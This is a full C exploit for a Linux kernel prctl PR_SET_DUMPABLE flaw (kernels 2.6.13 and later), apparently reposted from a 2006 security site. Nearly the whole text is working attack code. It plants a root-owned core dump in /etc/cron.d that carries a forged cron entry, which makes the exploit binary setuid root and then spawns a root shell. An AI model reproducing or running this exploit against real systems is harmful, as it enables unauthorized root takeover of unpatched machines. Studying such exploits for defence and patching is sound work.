Rated as : Critical Risk
/* Linux >= 2.6.13 prctl kernel exploit
*
* (C) Julien TINNES
*
* If you read the Changelog from 2.6.13 you've probably seen:
* [PATCH] setuid core dump
*
* This patch mainly adds suidsafe to suid_dumpable sysctl but also a new
per process,
* user setable argument to PR_SET_DUMPABLE.
*
* This flaw allows us to create a root owned coredump into any
directory.
* This is trivially exploitable.
*
*/
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <time.h>
#define CROND "/etc/cron.d"
#define BUFSIZE 2048
struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};
char crontemplate[]=
"#/etc/cron.d/core suid_dumpable exploit\n"
"SHELL=/bin/sh\n"
"PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
"#%s* * * * * root chown root:root %s && chmod 4755 %s && rm -rf %s
&& kill -USR1 %d\n";
char cronstring[BUFSIZE];
char fname[BUFSIZE];
struct timeval te;
void sh(int sn) {
execl(fname, fname, (char *) NULL);
}
int main(int argc, char *argv[]) {
int nw, pid;
if (geteuid() == 0) {
printf("[+] getting root shell\n");
setuid(0);
setgid(0);
if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
perror("[-] execle");
return 1;
}
}
printf("\nprctl() suidsafe exploit\n\n(C) Julien TINNES\n\n");
/* get our file name */
if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
perror("[-] readlink");
printf("This is not fatal, rewrite the exploit\n");
}
if (signal(SIGUSR1, sh) == SIG_ERR) {
perror("[-] signal");
return 1;
}
printf("[+] Installed signal handler\n");
/* Let us create core files */
setrlimit(RLIMIT_CORE, &myrlimit);
if (chdir(CROND) == -1) {
perror("[-] chdir");
return 1;
}
/* exploit the flaw */
if (prctl(PR_SET_DUMPABLE, 2) == -1) {
perror("[-] prtctl");
printf("Is you kernel version >= 2.6.13 ?\n");
return 1;
}
printf("[+] We are suidsafe dumpable!\n");
/* Forge the string for our core dump */
nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n",
fname, fname, CROND"/core", getpid());
if (nw >= sizeof(cronstring)) {
printf("[-] cronstring is too small\n");
return 1;
}
printf("[+] Malicious string forged\n");
if ((pid=fork()) == -1) {
perror("[-] fork");
return 1;
}
if (pid == 0) {
/* This is not the good way to do it ;) */
sleep(120);
exit(0);
}
/* SEGFAULT the child */
printf("[+] Segfaulting child\n");
if (kill(pid, 11) == -1) {
perror("[-] kill");
return 1;
}
if (gettimeofday(&te, NULL) == 0)
printf("[+] Waiting for exploit to succeed (~%ld seconds)\n",
60 - (te.tv_sec%60));
sleep(120);
printf("[-] It looks like the exploit failed\n");
return 1;
}
securitydot.net - 2006-07-13
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